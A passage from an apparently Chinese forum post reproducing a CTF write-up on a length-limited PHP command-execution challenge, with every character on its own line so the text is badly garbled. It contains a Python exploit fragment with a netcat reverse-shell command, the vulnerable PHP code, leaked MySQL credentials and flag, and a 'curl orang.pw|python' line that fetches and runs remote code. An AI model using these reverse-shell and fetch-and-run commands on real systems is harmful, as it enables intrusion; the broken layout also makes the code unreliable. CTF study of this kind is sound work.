"
>
z
"
)
c
m
d
(
"
>
-
p
"
)
c
m
d
(
"
>
-
r
"
)
c
m
d
(
"
x
x
d
*
"
)
c
m
d
(
"
s
h
z
"
)
r
e
t
u
r
n
r
e
a
d
(
"
o
"
)
d
e
f
s
h
e
l
l
(
c
m
d
_
t
e
x
t
)
:
p
r
i
n
t
(
l
o
n
g
_
c
m
d
(
c
m
d
_
t
e
x
t
)
)
d
e
f
r
s
h
e
l
l
(
h
o
s
t
,
p
o
r
t
)
:
l
o
n
g
_
c
m
d
(
"
m
k
f
i
f
o
f
;
n
c
{
}
{
}
<
f
|
b
a
s
h
>
f
2
>
f
"
.
f
o
r
m
a
t
(
h
o
s
t
,
p
o
r
t
)
)
F
l
a
g
i
s
i
n
t
h
e
M
y
S
Q
L
d
a
t
a
b
a
s
e
f
l
4
4
4
4
g
/
S
u
g
Z
X
U
t
g
e
J
5
2
_
B
v
r
$
m
y
s
q
l
-
u
f
l
4
4
4
4
g
-
p
S
u
g
Z
X
U
t
g
e
J
5
2
_
B
v
r
m
y
s
q
l
>
S
H
O
W
D
A
T
A
B
A
S
E
S
;
D
a
t
a
b
a
s
e
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
f
l
4
g
d
b
m
y
s
q
l
>
u
s
e
f
l
4
g
d
b
;
S
H
O
W
T
A
B
L
E
S
;
T
a
b
l
e
s
_
i
n
_
f
l
4
g
d
b
t
h
i
s
_
i
s
_
t
h
e
_
f
l
4
g
m
y
s
q
l
>
S
E
L
E
C
T
*
F
R
O
M
t
h
i
s
_
i
s
_
t
h
e
_
f
l
4
g
;
s
e
c
r
e
t
h
i
t
c
o
n
{
i
d
e
a
_
f
r
o
m
_
p
h
i
t
h
0
n
,
t
h
a
n
k
_
y
o
u
:
)
}
<
?
p
h
p
$
s
a
n
d
b
o
x
=
'
/
w
w
w
/
s
a
n
d
b
o
x
/
'
.
m
d
5
(
"
o
r
a
n
g
e
"
.
$
_
S
E
R
V
E
R
[
'
R
E
M
O
T
E
_
A
D
D
R
'
]
)
;
@
m
k
d
i
r
(
$
s
a
n
d
b
o
x
)
;
@
c
h
d
i
r
(
$
s
a
n
d
b
o
x
)
;
i
f
(
i
s
s
e
t
(
$
_
G
E
T
[
'
c
m
d
'
]
)
&
&
s
t
r
l
e
n
(
$
_
G
E
T
[
'
c
m
d
'
]
)
<
=
4
)
{
@
e
x
e
c
(
$
_
G
E
T
[
'
c
m
d
'
]
)
;
}
e
l
s
e
i
f
(
i
s
s
e
t
(
$
_
G
E
T
[
'
r
e
s
e
t
'
]
)
)
{
@
e
x
e
c
(
'
/
b
i
n
/
r
m
-
r
f
'
.
$
s
a
n
d
b
o
x
)
;
}
h
i
g
h
l
i
g
h
t
_
f
i
l
e
(
_
_
F
I
L
E
_
_
)
;
?
>
2
.
l
s
>
n
a
m
e
我
们
可
以
吧
目
录
按
顺
序
写
入
文
件
3
.
可
以
用
来
衔
接
多
行
中
的
命
令
(
一
行
一
部
分
,
多
行
拼
凑
)
4
.
命
令
*
可
以
将
目
录
下
的
文
件
当
做
参
数
,
注
意
文
件
顺
序
5
.
关
于
反
弹
s
h
e
l
l
什
么
的
,
还
需
要
多
加
学
习
,
l
i
u
n
x
命
令
也
要
知
道
些
6
.
一
些
稀
奇
古
怪
的
命
令
和
用
法
总
结
4
个
t
r
i
c
k
思
路
加
上
重
定
向
和
反
弹
s
h
e
l
l
知
识
c
u
r
l
o
r
a
n
g
.
p
w
|
p
y
t
h
o
n
通
过
u
r
l
下
载
o
r
a
n
g
e
中
的
文
件
,
使
用
p
y
t
h
o
n
执
行
,
就
可
以
反
弹
s
h
e
l
l
详
细
的
t
r
i
c
k
介
绍
请
点
击
连
接
h
t
t
p
s
:
/
/
w
w
w
.
f
r
e
e
b
u
f
.
c
o
m
/
a
r
t
i
c
l
e
s
/
w
e
b
/
1
5
4
4
5
3
.
h
t
m
l
因
为
原
文
是
禁
止
转
载
请
跳
转
查
看
还
是
挺
深
奥
的
—
—
—
—
—
—
—
—
—
—
—
—
—
—
—
—
版
权
声
明
:
本
文
为
C
S
D
N
博
主
「
i
a
m
s
o
n
g
y
u
」
的
原
创
文
章
:
原
文
链
接
:
h
t
t
p
s
:
/
/
b
l
o
g
.
c
s
d
n
.
n
e
t
/
i
a
m
s
o
n
g
y
u
/
a
r
t
i
c
l
e
/
d
e
t
a
i
l
s
/
8
4
4
8
3
6
3
8
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
未
整
理
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
参
考
h
t
t
p
s
:
/
/
w
w
w
.
c
n
b
l
o
g
s
.
c
o
m
/
K
e
v
i
n
G
e
o
r
g
e
/
p
/
8
2
3
2
4
3
0
.
h
t
m
l
h
t
t
p
s
:
/
/
b
l
o
g
.
c
s
d
n
.
n
e
t
/
k
u
i
g
u
o
w
e
i
/
a
r
t
i
c
l
e
/
d
e
t
a
i
l
s
/
7
9
0
4
5
2
1
5
?
u
t
m
_
s
o
u
r
c
e
=
b
l
o
g
x
g
w
z
9
如
果
觉
得
文
章
对
你
有
帮
助
,
请
点
击
右
下
角
“
在
看
”
t
r
i
c
k
1
命
令
组
装
d
i
r
a
b
>
c
t
r
i
c
k
2
通
配
符
的
妙
用
*
v
=
r
e
v
v
t
r
i
c
k
3
按
时
间
顺
序
排
列
文
件
l
s
-
t
t
r
i
c
k
4
命
令
续
行
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
浏览过的版块
云安全